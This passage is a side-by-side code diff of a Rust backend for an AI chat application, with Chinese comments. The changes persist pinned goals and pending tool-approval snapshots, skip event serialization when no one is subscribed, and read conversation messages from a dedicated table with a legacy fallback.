serde_json::to_string(&conv_pending).unwrap_or_else(|_| "{}".to_string())
};
// F-260619-03 批次 B:映射 Vec<ChatMessage> → Vec<AiMessageRecord>(带 seq 索引 + conv_id) // F-260619-03 批次 B:映射 Vec<ChatMessage> → Vec<AiMessageRecord>(带 seq 索引 + conv_id)
// 全量重写 ai_messages(单事务 DELETE + INSERT OR IGNORE,原子无中间空窗)。 // 全量重写 ai_messages(单事务 DELETE + INSERT OR IGNORE,原子无中间空窗)。
// created_at 用对话级 created_at(老对话 None 时 now 兜底),保证消息创建时间与对话一致。 // created_at 用对话级 created_at(老对话 None 时 now 兜底),保证消息创建时间与对话一致。
@@ -224,6 +237,10 @@ pub(crate) async fn save_conversation(
if !list.iter().any(|x| x == m) { list.push(m.to_string()); } if !list.iter().any(|x| x == m) { list.push(m.to_string()); }
rec.models = Some(serde_json::to_string(&list).unwrap_or_else(|_| "[]".to_string())); rec.models = Some(serde_json::to_string(&list).unwrap_or_else(|_| "[]".to_string()));
} }
// G1 目标钉扎持久化:将 per_conv.pinned_goals 写入 DB
rec.pinned_goals = Some(serde_json::to_string(&pinned_goals).unwrap_or_else(|_| "[]".to_string()));
// 挂起审批快照持久化:每轮 save 同步当前 pending_approvals 快照
rec.pending_approvals = Some(pending_approvals_json.clone());
// update_full 仍写 messages 列(保留旧值,本批不改 messages 字段),写元数据 + updated_at // update_full 仍写 messages 列(保留旧值,本批不改 messages 字段),写元数据 + updated_at
if let Err(e) = conv_repo.update_full(&rec).await { if let Err(e) = conv_repo.update_full(&rec).await {
tracing::warn!("更新对话元数据失败 {conv_id}: {e}"); tracing::warn!("更新对话元数据失败 {conv_id}: {e}");
@@ -250,6 +267,8 @@ pub(crate) async fn save_conversation(
pinned: false, pinned: false,
prompt_tokens: usage.map(|u| u.prompt_tokens as i64), prompt_tokens: usage.map(|u| u.prompt_tokens as i64),
completion_tokens: usage.map(|u| u.completion_tokens as i64), completion_tokens: usage.map(|u| u.completion_tokens as i64),
pinned_goals: Some(serde_json::to_string(&pinned_goals).unwrap_or_else(|_| "[]".to_string())),
pending_approvals: Some(pending_approvals_json.clone()),
created_at: conv_created.clone(), created_at: conv_created.clone(),
updated_at: now, updated_at: now,
}; };

View File

@@ -164,8 +164,16 @@ impl EventBus {
/// 序列化为 Value 后调 [`publish`](Self::publish)。供 emit 点双写(publish + app.emit), /// 序列化为 Value 后调 [`publish`](Self::publish)。供 emit 点双写(publish + app.emit),
/// 经 EventBus 透传给 tunnel subscriber(阶段2 接入)。 /// 经 EventBus 透传给 tunnel subscriber(阶段2 接入)。
/// ///
/// 序列化失败兜底返 0(丢弃,对齐 publish 静默丢弃语义;AiChatEvent 序列化稳定不触发,防御性)。 /// 性能优化(治空转):无订阅者时跳过序列化直接返 0。当前 tunnel subscriber 尚未接入,
/// 20+ emit 点双写调本方法但无消费者,跳过序列化消除热路径开销。接入消费者后自动生效。
///
/// 序列化失败兑底返 0(丢弃,对齐 publish 静默丢弃语义;AiChatEvent 序列化稳定不触发,防御性)。
pub fn publish_event(&self, event: AiChatEvent) -> usize { pub fn publish_event(&self, event: AiChatEvent) -> usize {
// 无订阅者时跳过序列化(治空转开销)。broadcast::receiver_count 是同步原子读,代价极低。
// 有订阅者后才做 serde_json::to_value 序列化 + send。
if self.sender.receiver_count() == 0 {
return 0;
}
match serde_json::to_value(&event) { match serde_json::to_value(&event) {
Ok(v) => self.publish(v), Ok(v) => self.publish(v),
Err(_) => 0, Err(_) => 0,

View File

@@ -12,7 +12,7 @@ use df_ai::provider::{ChatMessage, CompletionRequest, LlmProvider, MessageRole};
use df_ai::router::{ use df_ai::router::{
select_model_id, Modality, TaskRequirements, select_model_id, Modality, TaskRequirements,
}; };
use df_storage::crud::{AiConversationRepo, KnowledgeRepo}; use df_storage::crud::{AiConversationRepo, AiMessageRepo, KnowledgeRepo};
use df_storage::db::Database; use df_storage::db::Database;
use df_storage::models::{AiProviderRecord, KnowledgeRecord}; use df_storage::models::{AiProviderRecord, KnowledgeRecord};
@@ -566,12 +566,21 @@ async fn extract_knowledge_from_conversation(
.filter(|t| !t.trim().is_empty()) .filter(|t| !t.trim().is_empty())
.unwrap_or_else(|| "未命名对话".to_string()); .unwrap_or_else(|| "未命名对话".to_string());
let messages: Vec<ChatMessage> = match serde_json::from_str(&conv.messages) { // 消息读取:优先 ai_messages 表(消息拆分存储真相源),表空时 fallback 旧 messages JSON 列(老库兼容)
Ok(v) => v, let msg_repo = AiMessageRepo::new(db);
Err(e) => { let records = msg_repo.list_by_conversation(conv_id).await.unwrap_or_default();
tracing::warn!(error = %e, "[ai] 对话消息 JSON 解析失败,降级空消息(知识提炼跳过)"); let messages: Vec<ChatMessage> = if !records.is_empty() {
Vec::new() records.iter().map(crate::commands::ai::commands::record_to_message).collect()
} else {
// 老库未迁移或坏数据:回退旧 messages JSON 列(与 ai_conversation_switch 同一兼容路径)
let has_legacy = conv.messages != "[]" && !conv.messages.is_empty();
if has_legacy {
tracing::warn!(
conv_id,
"[KNOWLEDGE-EXTRACT] ai_messages 表为空,回退旧 messages JSON 列(老库兼容)"
);
} }
serde_json::from_str(&conv.messages).unwrap_or_default()
}; };
// 过滤 user/assistant,取最后 6 条 // 过滤 user/assistant,取最后 6 条
let recent: Vec<&ChatMessage> = messages let recent: Vec<&ChatMessage> = messages

View File

@@ -138,6 +138,8 @@ pub enum AiChatEvent {
/// 不完整标记(可选):Some(true)=网络中断保文,None 或 Some(false)=完整回复 /// 不完整标记(可选):Some(true)=网络中断保文,None 或 Some(false)=完整回复
incomplete: Option<bool>, incomplete: Option<bool>,
conversation_id: Option<String>, conversation_id: Option<String>,
/// 当前会话 pinned_goals(G1 目标钉扎持久化,前端直接读取刷新)
pinned_goals: Vec<String>,
}, },
/// 错误 /// 错误
/// ///
@@ -437,24 +439,6 @@ fn normalize_dir_key(dir: &str) -> String {
} }
} }
/// workspace_root 字符串(作 run_command working_dir 缺省时的 trust key 回退)。
///
/// 与 tool_registry.rs workspace_root() 同源CARGO_MANIFEST_DIR 上两级canonicalize 后
/// 保证与 run_command handler 默认 working_dir = workspace_root().to_string() 生成的 key 一致。
fn workspace_root_str() -> String {
let root = PathBuf::from(env!("CARGO_MANIFEST_DIR"))
.parent()
.and_then(|p| p.parent())
.map(PathBuf::from)
.unwrap_or_else(|| PathBuf::from("."));
root.canonicalize()
.map(|c| c.to_string_lossy().to_string())
.unwrap_or_else(|_| root.to_string_lossy().to_string())
}
// 引入 PathBuf 供 workspace_root_str / dir_of_path_normalized 使用
use std::path::PathBuf;
/// AI 会话内状态Mutex 保护) /// AI 会话内状态Mutex 保护)
/// ///
/// F-260616-09 B 批4(决策 e 真并发上线):会话级状态全部迁入 [`per_conv`](Self::per_conv) /// F-260616-09 B 批4(决策 e 真并发上线):会话级状态全部迁入 [`per_conv`](Self::per_conv)
@@ -776,17 +760,17 @@ pub struct PerConvState {
/// 写收敛:经 GeneratingGuard/入口 transition_to 守卫迁移,非直接赋值。 /// 写收敛:经 GeneratingGuard/入口 transition_to 守卫迁移,非直接赋值。
/// 批3 双轨收口:generating bool 已退役,此 enum 成为生成态唯一真相源。 /// 批3 双轨收口:generating bool 已退役,此 enum 成为生成态唯一真相源。
pub conv_state: ConvState, pub conv_state: ConvState,
/// G1 目标钉扎真相源:用户首条 active 消息提取的目标(内容态字段,与生命周期态正交)。 /// G1 目标钉扎真相源:用户消息提取的目标列表(内容态字段,与生命周期态正交)。
/// ///
/// 治 R1(目标消息被压缩/compressed 物理出局,sanitize step0 过滤 is_active 致目标丢失): /// 治 R1(目标消息被压缩/compressed 物理出局,sanitize step0 过滤 is_active 致目标丢失):
/// 目标存本字段绕过消息 active 状态过滤,即使原始 user 消息出局,goal 字段仍在。 /// 目标存本字段绕过消息 active 状态过滤,即使原始 user 消息出局,goal 仍在。
/// run_agentic_loop 入口把它拼进 system_prompt 尾部(system_prompt 是 loop 不变量,天然 /// run_agentic_loop 入口拼进 system_prompt 尾部(system_prompt 是 loop 不变量,天然
/// 免疫压缩/裁剪/sanitize,见 agentic/mod.rs:683)。 /// 免疫压缩/裁剪/sanitize,见 agentic/mod.rs:683)。
/// ///
/// 写:chat.rs send/force_send push 后提取(每次覆盖,支持中途换目标);读:loop 入口拼接。 /// 写:chat.rs send/force_send/edit push 后提取目标追加到列表(去重,支持累积多目标);
/// GOAL_PIN_ENABLED=false 时不提取不注入,本字段永远 None(单点回退等价改动前) /// 读:loop 入口拼接全部目标。GOAL_PIN_ENABLED=false 时不提取不注入,本字段永远空 Vec
/// 随会话销毁不落库(对齐 knowledge_extracted L795 语义,PerConvState 无 serde derive)。 /// 随会话销毁不落库(对齐 knowledge_extracted 语义,PerConvState 无 serde derive)。
pub pinned_goal: Option<String>, pub pinned_goals: Vec<String>,
/// 停止信号(会话级):ai_chat_stop 置位,agentic loop / stream_llm 检测后尽快退出 /// 停止信号(会话级):ai_chat_stop 置位,agentic loop / stream_llm 检测后尽快退出
pub stop_flag: Arc<AtomicBool>, pub stop_flag: Arc<AtomicBool>,
/// 即时停止唤醒(会话级):阻塞在 stream.next() 时 notify_one() 立即唤醒跳出 select! /// 即时停止唤醒(会话级):阻塞在 stream.next() 时 notify_one() 立即唤醒跳出 select!
@@ -833,12 +817,12 @@ impl PerConvState {
/// - session_trust: HashSet::new() /// - session_trust: HashSet::new()
/// - created_at: None(批1 新增字段,AiSession 现有 active_conv_created_at 同语义) /// - created_at: None(批1 新增字段,AiSession 现有 active_conv_created_at 同语义)
/// - knowledge_extracted: false(新会话未提炼,P1 去重标志) /// - knowledge_extracted: false(新会话未提炼,P1 去重标志)
/// - pinned_goal: None(G1 目标钉扎,新会话未提取目标) /// - pinned_goals: Vec::new()(G1 目标钉扎,新会话未提取目标)
pub fn new() -> Self { pub fn new() -> Self {
Self { Self {
messages: ContextManager::new(ContextConfig::default()), messages: ContextManager::new(ContextConfig::default()),
conv_state: ConvState::Idle, conv_state: ConvState::Idle,
pinned_goal: None, pinned_goals: Vec::new(),
stop_flag: Arc::new(AtomicBool::new(false)), stop_flag: Arc::new(AtomicBool::new(false)),
notify: Arc::new(tokio::sync::Notify::new()), notify: Arc::new(tokio::sync::Notify::new()),
iteration_used: 0, iteration_used: 0,
@@ -863,7 +847,7 @@ impl Default for PerConvState {
/// 原顶层 `diff` / `path_auth` 字段下沉进 `ApprovalKind` enum 变体(决策1:状态层合 + /// 原顶层 `diff` / `path_auth` 字段下沉进 `ApprovalKind` enum 变体(决策1:状态层合 +
/// 决策层分 —— kind 在 PendingApproval 内携带语义,但 ai_approve/ai_authorize_dir /// 决策层分 —— kind 在 PendingApproval 内携带语义,但 ai_approve/ai_authorize_dir
/// 各只消费自己 kind,入口校验防误调)。 /// 各只消费自己 kind,入口校验防误调)。
#[derive(Debug, Clone)] #[derive(Debug, Clone, Serialize, Deserialize)]
pub struct PendingApproval { pub struct PendingApproval {
pub tool_call_id: String, pub tool_call_id: String,
pub tool_name: String, pub tool_name: String,
@@ -871,6 +855,10 @@ pub struct PendingApproval {
pub conversation_id: Option<String>, pub conversation_id: Option<String>,
/// 重启恢复的积压审批:无 live loop 持有 session.messages,审批后不 save(防空 messages 污染老对话)、不续跑 /// 重启恢复的积压审批:无 live loop 持有 session.messages,审批后不 save(防空 messages 污染老对话)、不续跑
pub recovered: bool, pub recovered: bool,
/// 审批创建时间(用于超时取消判定)。运行期内存态,不序列化(重启恢复的积压审批按恢复时间计)。
/// `#[serde(default)]` 使老 JSON 数据反序列化时不报错(向后兼容)。
#[serde(default)]
pub created_at: Option<std::time::SystemTime>,
/// 阶段3a:审批类型(Path 路径授权挂起 / Risk 普通 RiskLevel 审批)。 /// 阶段3a:审批类型(Path 路径授权挂起 / Risk 普通 RiskLevel 审批)。
/// 老构造点不传 kind 时默认 Risk(兼容:原 risk_pending 路径行为不变)。 /// 老构造点不传 kind 时默认 Risk(兼容:原 risk_pending 路径行为不变)。
pub kind: ApprovalKind, pub kind: ApprovalKind,
@@ -896,7 +884,7 @@ pub struct PendingApproval {
/// - `Risk { diff }`:普通 Med/High RiskLevel 审批,由 `ai_approve` 消费(一次性 approve/reject)。 /// - `Risk { diff }`:普通 Med/High RiskLevel 审批,由 `ai_approve` 消费(一次性 approve/reject)。
/// `diff`:AE-2025-03(路径 B)write_file 行级 unified diff,供前端审批卡预览; /// `diff`:AE-2025-03(路径 B)write_file 行级 unified diff,供前端审批卡预览;
/// 旧文件不存在(新建)或非 write_file / recovered 审批为 None。 /// 旧文件不存在(新建)或非 write_file / recovered 审批为 None。
#[derive(Debug, Clone)] #[derive(Debug, Clone, Serialize, Deserialize)]
pub enum ApprovalKind { pub enum ApprovalKind {
/// F-260619-03 Phase B: 路径授权挂起(携带待授权目录列表)。 /// F-260619-03 Phase B: 路径授权挂起(携带待授权目录列表)。
Path(PathAuthRequest), Path(PathAuthRequest),
@@ -907,7 +895,7 @@ pub enum ApprovalKind {
} }
/// F-260619-03 Phase B: 路径授权挂起请求(ApprovalKind::Path 标记)。 /// F-260619-03 Phase B: 路径授权挂起请求(ApprovalKind::Path 标记)。
#[derive(Debug, Clone)] #[derive(Debug, Clone, Serialize, Deserialize)]
pub struct PathAuthRequest { pub struct PathAuthRequest {
/// 待授权目录列表(规范化父目录,对齐 session_trust 目录粒度)。 /// 待授权目录列表(规范化父目录,对齐 session_trust 目录粒度)。
/// L1 补丁(rename_file 双路径漏校):收集所有未授权父目录,rename_file 的 from+to /// L1 补丁(rename_file 双路径漏校):收集所有未授权父目录,rename_file 的 from+to

View File

@@ -162,7 +162,10 @@ pub(crate) async fn build_system_prompt_with_excluded(
if excluded_project_ids.iter().any(|id| id == &p.id) { if excluded_project_ids.iter().any(|id| id == &p.id) {
continue; continue;
} }
prompt.push_str(&format!("- {} ({}): {}\n", p.name, p.status, p.description)); prompt.push_str(&format!("- {} ({}): {}\n", p.name, p.status.as_str(), p.description));
if let Some(ref dir) = p.path {
prompt.push_str(&format!(" 目录: {}\n", dir));
}
} }
// 机制层注明语(中/英):项目已全部列出,降 list_projects 重复调用 // 机制层注明语(中/英):项目已全部列出,降 list_projects 重复调用
prompt.push_str(&projects_listed_note(lang, 20)); prompt.push_str(&projects_listed_note(lang, 20));
@@ -178,7 +181,7 @@ pub(crate) async fn build_system_prompt_with_excluded(
if excluded_task_ids.iter().any(|id| id == &tk.id) { if excluded_task_ids.iter().any(|id| id == &tk.id) {
continue; continue;
} }
prompt.push_str(&format!("- {} ({}): {}\n", tk.title, tk.status, tk.description)); prompt.push_str(&format!("- {} ({}): {}\n", tk.title, tk.status.as_str(), tk.description));
} }
// 机制层注明语(中/英):仅最近 20 条,全量/按项目查询走 list_tasks // 机制层注明语(中/英):仅最近 20 条,全量/按项目查询走 list_tasks
prompt.push_str(&tasks_listed_note(lang)); prompt.push_str(&tasks_listed_note(lang));

Some files were not shown because too many files have changed in this diff Show More